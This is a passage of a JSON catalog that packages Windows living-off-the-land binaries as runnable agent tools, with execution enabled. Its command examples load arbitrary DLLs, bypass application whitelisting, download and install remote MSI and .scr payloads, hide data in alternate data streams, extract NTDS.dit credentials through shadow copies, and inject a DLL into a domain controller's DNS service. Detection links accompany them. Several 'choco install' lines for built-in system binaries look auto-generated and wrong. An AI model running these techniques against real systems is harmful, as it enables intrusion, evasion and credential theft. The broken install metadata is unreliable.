        "description": "coregen.exe command line containing unexpected/invald assembly name"
      },
      {
        "type": "ioc",
        "description": "coregen.exe application crash by invalid assembly name"
      }
    ],
    "examples": [
      {
        "description": "Loads the target .DLL in arbitrary path specified with /L. (Execute DLL code)",
        "command": "coregen.exe /L {PATH_ABSOLUTE:.dll} dummy_assembly_name"
      },
      {
        "description": "Loads the coreclr.dll in the corgen.exe directory (e.g. C:\\Program Files\\Microsoft Silverlight\\5.1.50918.0). (Execute DLL code)",
        "command": "coregen.exe dummy_assembly_name"
      },
      {
        "description": "Loads the target .DLL in arbitrary path specified with /L. Since binary is signed it can also be used to bypass application whitelisting solutions. (Execute DLL code)",
        "command": "coregen.exe /L {PATH_ABSOLUTE:.dll} dummy_assembly_name"
      }
    ],
    "execution": {
      "template": "coregen",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-coregen",
    "install": [
      {
        "method": "choco",
        "package_name": "coregen",
        "commands": [
          "choco install coregen"
        ]
      }
    ],
    "mitre_ids": [
      "T1055",
      "T1218"
    ],
    "name": "coregen",
    "namespace": "windows:execution:coregen",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "watch?v=75XImxOOInU",
        "url": "https://www.youtube.com/watch?v=75XImxOOInU"
      },
      {
        "label": "staying-hidden-on-the-endpoint-evading-detection-w",
        "url": "https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# csi\n\ncsi is a Windows LOLBin. Command line interface included with Visual Studio. Located at: c:\\Program Files (x86)\\Microsoft Visual Studio\\2017\\Community\\MSBuild\\15.0\\Bin\\Roslyn\\csi.exe; c:\\Program Files (x86)\\Microsoft Web Tools\\Packages\\Microsoft.Net.Compilers.X.Y.Z\\tools\\csi.exe.\n",
    "_source": "csi.md",
    "allowed-tools": [
      "csi"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Command line interface included with Visual Studio. Located at: c:\\Program Files (x86)\\Microsoft Visual Studio\\2017\\Community\\MSBuild\\15.0\\Bin\\Roslyn\\csi.exe; c:\\Program Files (x86)\\Microsoft Web Tools\\Packages\\Microsoft.Net.Compilers.X.Y.Z\\tools\\csi.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_csi_execution.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_csi_use_of_csharp_console.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml"
      },
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      }
    ],
    "examples": [
      {
        "description": "Use csi.exe to run unsigned C# code. (Local execution of unsigned C# code.)",
        "command": "csi.exe {PATH:.cs}"
      }
    ],
    "execution": {
      "template": "csi",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-csi",
    "install": [
      {
        "method": "choco",
        "package_name": "csi",
        "commands": [
          "choco install csi"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "csi",
    "namespace": "windows:execution:csi",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "781208810723549188",
        "url": "https://twitter.com/subTee/status/781208810723549188"
      },
      {
        "label": "",
        "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# customshellhost\n\ncustomshellhost is a Windows LOLBin. A host process that is used by custom shells when using Windows in Kiosk mode. Located at: C:\\Windows\\System32\\CustomShellHost.exe.\n",
    "_source": "customshellhost.md",
    "allowed-tools": [
      "customshellhost"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Wietze Beukema",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "A host process that is used by custom shells when using Windows in Kiosk mode. Located at: C:\\Windows\\System32\\CustomShellHost.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "CustomShellHost.exe is unlikely to run on normal workstations"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/ff5102832031425f6eed011dd3a2e62653008c94/rules/windows/process_creation/proc_creation_win_lolbin_customshellhost.yml"
      }
    ],
    "examples": [
      {
        "description": "Executes explorer.exe (with command-line argument /NoShellRegistrationCheck) if present in the current working folder. (Can be used to evade defensive counter-measures)",
        "command": "CustomShellHost.exe"
      }
    ],
    "execution": {
      "template": "customshellhost",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-customshellhost",
    "install": [
      {
        "method": "choco",
        "package_name": "customshellhost",
        "commands": [
          "choco install customshellhost"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "customshellhost",
    "namespace": "windows:execution:customshellhost",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1381353520088113154",
        "url": "https://twitter.com/YoSignals/status/1381353520088113154"
      },
      {
        "label": "kiosk-shelllauncher",
        "url": "https://docs.microsoft.com/en-us/windows/configuration/kiosk-shelllauncher"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# defaultpack\n\ndefaultpack is a Windows LOLBin. This binary can be downloaded along side multiple software downloads on the Microsoft website. It gets downloaded when the user forgets to uncheck the option to set Bing as the default search provider. Located at: C:\\Program Files (x86)\\Microsoft\\DefaultPack\\DefaultPack.exe.\n",
    "_source": "defaultpack.md",
    "allowed-tools": [
      "defaultpack"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "@checkymander",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "This binary can be downloaded along side multiple software downloads on the Microsoft website. It gets downloaded when the user forgets to uncheck the option to set Bing as the default search provider. Located at: C:\\Program Files (x86)\\Microsoft\\DefaultPack\\DefaultPack.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_lolbin_defaultpack.yml"
      },
      {
        "type": "ioc",
        "description": "DefaultPack.EXE spawned an unknown process"
      }
    ],
    "examples": [
      {
        "description": "Use DefaultPack.EXE to execute arbitrary binaries, with added argument support. (Can be used to execute stagers, binaries, and other malicious commands.)",
        "command": "DefaultPack.EXE /C:\"{CMD}\""
      }
    ],
    "execution": {
      "template": "defaultpack",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-defaultpack",
    "install": [
      {
        "method": "choco",
        "package_name": "defaultpack",
        "commands": [
          "choco install defaultpack"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "defaultpack",
    "namespace": "windows:execution:defaultpack",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1311509470275604480.",
        "url": "https://twitter.com/checkymander/status/1311509470275604480."
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# desk\n\ndesk is a Windows LOLBin. Desktop Settings Control Panel Located at: C:\\Windows\\System32\\desk.cpl; C:\\Windows\\SysWOW64\\desk.cpl.\n",
    "_source": "desk.md",
    "allowed-tools": [
      "desk"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Hai Vaknin",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Desktop Settings Control Panel Located at: C:\\Windows\\System32\\desk.cpl; C:\\Windows\\SysWOW64\\desk.cpl.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/file/file_event/file_event_win_new_src_file.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/940f89d43dbac5b7108610a5bde47cda0d2a643b/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml"
      }
    ],
    "examples": [
      {
        "description": "Launch an executable with a .scr extension by calling the InstallScreenSaver function. (Launch any executable payload, as long as it uses the .scr extension.)",
        "command": "rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}"
      },
      {
        "description": "Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function. (Launch any executable payload, as long as it uses the .scr extension.)",
        "command": "rundll32.exe desk.cpl,InstallScreenSaver {PATH_SMB:.scr}"
      }
    ],
    "execution": {
      "template": "desk",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-desk",
    "install": [
      {
        "method": "choco",
        "package_name": "desk",
        "commands": [
          "choco install desk"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.011"
    ],
    "name": "desk",
    "namespace": "windows:execution:desk",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "29A-7.030.txt",
        "url": "https://vxug.fakedoma.in/zines/29a/29a7/Articles/29A-7.030.txt"
      },
      {
        "label": "998627081360695297",
        "url": "https://twitter.com/pabraeken/status/998627081360695297"
      },
      {
        "label": "1517027824984547329",
        "url": "https://twitter.com/VakninHai/status/1517027824984547329"
      },
      {
        "label": "InstallScreenSaver-SCR-files",
        "url": "https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# devinit\n\ndevinit is a Windows LOLBin. Visual Studio 2019 tool Located at: C:\\Program Files\\Microsoft Visual Studio\\<version>\\Community\\Common7\\Tools\\devinit\\devinit.exe; C:\\Program Files (x86)\\Microsoft Visual Studio\\<version>\\Community\\Common7\\Tools\\devinit\\devinit.exe.\n",
    "_source": "devinit.md",
    "allowed-tools": [
      "devinit"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "mr.d0x",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Visual Studio 2019 tool Located at: C:\\Program Files\\Microsoft Visual Studio\\<version>\\Community\\Common7\\Tools\\devinit\\devinit.exe; C:\\Program Files (x86)\\Microsoft Visual Studio\\<version>\\Community\\Common7\\Tools\\devinit\\devinit.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_devinit_lolbin_usage.yml"
      }
    ],
    "examples": [
      {
        "description": "Downloads an MSI file to C:\\Windows\\Installer and then installs it. (Executes code from a (remote) MSI file.)",
        "command": "devinit.exe run -t msi-install -i {REMOTEURL:.msi}"
      }
    ],
    "execution": {
      "template": "devinit",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-devinit",
    "install": [
      {
        "method": "choco",
        "package_name": "devinit",
        "commands": [
          "choco install devinit"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.007"
    ],
    "name": "devinit",
    "namespace": "windows:execution:devinit",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1460815932402679809",
        "url": "https://twitter.com/mrd0x/status/1460815932402679809"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# devtoolslauncher\n\ndevtoolslauncher is a Windows LOLBin. Binary will execute specified binary. Part of VS/VScode installation. Located at: c:\\windows\\system32\\devtoolslauncher.exe.\n",
    "_source": "devtoolslauncher.md",
    "allowed-tools": [
      "devtoolslauncher"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "felamos",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary will execute specified binary. Part of VS/VScode installation. Located at: c:\\windows\\system32\\devtoolslauncher.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_devtoolslauncher.yml"
      },
      {
        "type": "ioc",
        "description": "DeveloperToolsSvc.exe spawned an unknown process"
      }
    ],
    "examples": [
      {
        "description": "The above binary will execute other binary. (Execute any binary with given arguments and it will call `developertoolssvc.exe`. `developertoolssvc` is actually executing the binary.)",
        "command": "devtoolslauncher.exe LaunchForDeploy {PATH_ABSOLUTE:.exe} \"{CMD:args}\" test"
      },
      {
        "description": "The above binary will execute other binary. (Execute any binary with given arguments.)",
        "command": "devtoolslauncher.exe LaunchForDebug {PATH_ABSOLUTE:.exe} \"{CMD:args}\" test"
      }
    ],
    "execution": {
      "template": "devtoolslauncher",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-devtoolslauncher",
    "install": [
      {
        "method": "choco",
        "package_name": "devtoolslauncher",
        "commands": [
          "choco install devtoolslauncher"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "devtoolslauncher",
    "namespace": "windows:execution:devtoolslauncher",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1179811992841797632",
        "url": "https://twitter.com/_felamos/status/1179811992841797632"
      },
      {
        "label": "details",
        "url": "https://www.virustotal.com/gui/file/84877a507af8b70c145777a87eaf28a8327c50a1563fe650f34572bef8a42ff6/details"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# diantz\n\ndiantz is a Windows LOLBin. Binary that package existing files into a cabinet (.cab) file Located at: c:\\windows\\system32\\diantz.exe; c:\\windows\\syswow64\\diantz.exe.\n",
    "_source": "diantz.md",
    "allowed-tools": [
      "diantz"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Tamir Yehuda",
    "capabilities": [
      "system.file.alternate-data-stream",
      "network.transfer.download",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "process_spawn",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary that package existing files into a cabinet (.cab) file Located at: c:\\windows\\system32\\diantz.exe; c:\\windows\\syswow64\\diantz.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml"
      },
      {
        "type": "ioc",
        "description": "diantz storing data into alternate data streams."
      },
      {
        "type": "ioc",
        "description": "diantz getting a file from a remote machine or the internet."
      }
    ],
    "examples": [
      {
        "description": "Compress a file (first argument) into a CAB file stored in the Alternate Data Stream (ADS) of the target file. (Hide data compressed into an Alternate Data Stream.)",
        "command": "diantz.exe {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:targetFile.cab"
      },
      {
        "description": "Download and compress a remote file and store it in a CAB file on local machine. (Download and compress into a cab file.)",
        "command": "diantz.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}"
      },
      {
        "description": "Execute diantz directives as defined in the specified Diamond Definition File (.ddf); see resources for the format specification. (Bypass command-line based detections)",
        "command": "diantz /f {PATH:.ddf}"
      }
    ],
    "execution": {
      "template": "diantz",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-execution-diantz",
    "install": [
      {
        "method": "choco",
        "package_name": "diantz",
        "commands": [
          "choco install diantz"
        ]
      }
    ],
    "mitre_ids": [
      "T1564.004",
      "T1105",
      "T1036"
    ],
    "name": "diantz",
    "namespace": "windows:execution:diantz",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "diantz",
        "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diantz"
      },
      {
        "label": "makecab-directives.html",
        "url": "https://ss64.com/nt/makecab-directives.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "exfiltration",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# diskshadow\n\ndiskshadow is a Windows LOLBin. Diskshadow.exe is a tool that exposes the functionality offered by the volume shadow copy Service (VSS). Located at: C:\\Windows\\System32\\diskshadow.exe; C:\\Windows\\SysWOW64\\diskshadow.exe.\n",
    "_source": "diskshadow.md",
    "allowed-tools": [
      "diskshadow"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "credential.dump",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Diskshadow.exe is a tool that exposes the functionality offered by the volume shadow copy Service (VSS). Located at: C:\\Windows\\System32\\diskshadow.exe; C:\\Windows\\SysWOW64\\diskshadow.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diskshadow.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_shadow_copies_deletion.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml"
      },
      {
        "type": "ioc",
        "description": "Child process from diskshadow.exe"
      }
    ],
    "examples": [
      {
        "description": "Execute commands using diskshadow.exe from a prepared diskshadow script. (Use diskshadow to exfiltrate data from VSS such as NTDS.dit)",
        "command": "diskshadow.exe /s {PATH:.txt}"
      },
      {
        "description": "Execute commands using diskshadow.exe to spawn child process (Use diskshadow to bypass defensive counter measures)",
        "command": "diskshadow> exec {PATH:.exe}"
      }
    ],
    "execution": {
      "template": "diskshadow",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-diskshadow",
    "install": [
      {
        "method": "choco",
        "package_name": "diskshadow",
        "commands": [
          "choco install diskshadow"
        ]
      }
    ],
    "mitre_ids": [
      "T1003.003",
      "T1202"
    ],
    "name": "diskshadow",
    "namespace": "windows:execution:diskshadow",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "credential-access",
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# dnscmd\n\ndnscmd is a Windows LOLBin. A command-line interface for managing DNS servers Located at: C:\\Windows\\System32\\Dnscmd.exe; C:\\Windows\\SysWOW64\\Dnscmd.exe.\n",
    "_source": "dnscmd.md",
    "allowed-tools": [
      "dnscmd"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "A command-line interface for managing DNS servers Located at: C:\\Windows\\System32\\Dnscmd.exe; C:\\Windows\\SysWOW64\\Dnscmd.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_dnscmd_install_new_server_level_plugin_dll.yml"
      },
      {
        "type": "ioc",
        "description": "Dnscmd.exe loading dll from UNC/arbitrary path"
      }
    ],
    "examples": [
      {
        "description": "Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details. (Remotely inject dll to dns server)",
        "command": "dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll}"
      }
    ],
    "execution": {
      "template": "dnscmd",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-execution-dnscmd",
    "install": [
      {
        "method": "choco",
        "package_name": "dnscmd",
        "commands": [
          "choco install dnscmd"
        ]
      }
    ],
    "mitre_ids": [
      "T1543.003"
    ],
    "name": "dnscmd",
    "namespace": "windows:execution:dnscmd",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "feature-not-bug-dnsadmin-to-dc-compromise-in-one-l",
        "url": "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83"
      },
      {
        "label": "hunting-dns-server-level-plugin-dll-injection.html",
        "url": "https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html"
      },
      {
        "label": "dns-plugindll-vcpp",
        "url": "https://github.com/dim0x69/dns-exe-persistance/tree/master/dns-plugindll-vcpp"
      },
      {
        "label": "994000792628719618",
        "url": "https://twitter.com/Hexacorn/status/994000792628719618"
      },
      {
        "label": "abusing-dnsadmins-privilege-for-escalation-in-acti",
        "url": "http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# dnx\n\ndnx is a Windows LOLBin. .NET Execution environment file included with .NET. Located at: no default.\n",
    "_source": "dnx.md",
    "allowed-tools": [
      "dnx"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": ".NET Execution environment file included with .NET. Located at: no default.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dnx.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml"
      },
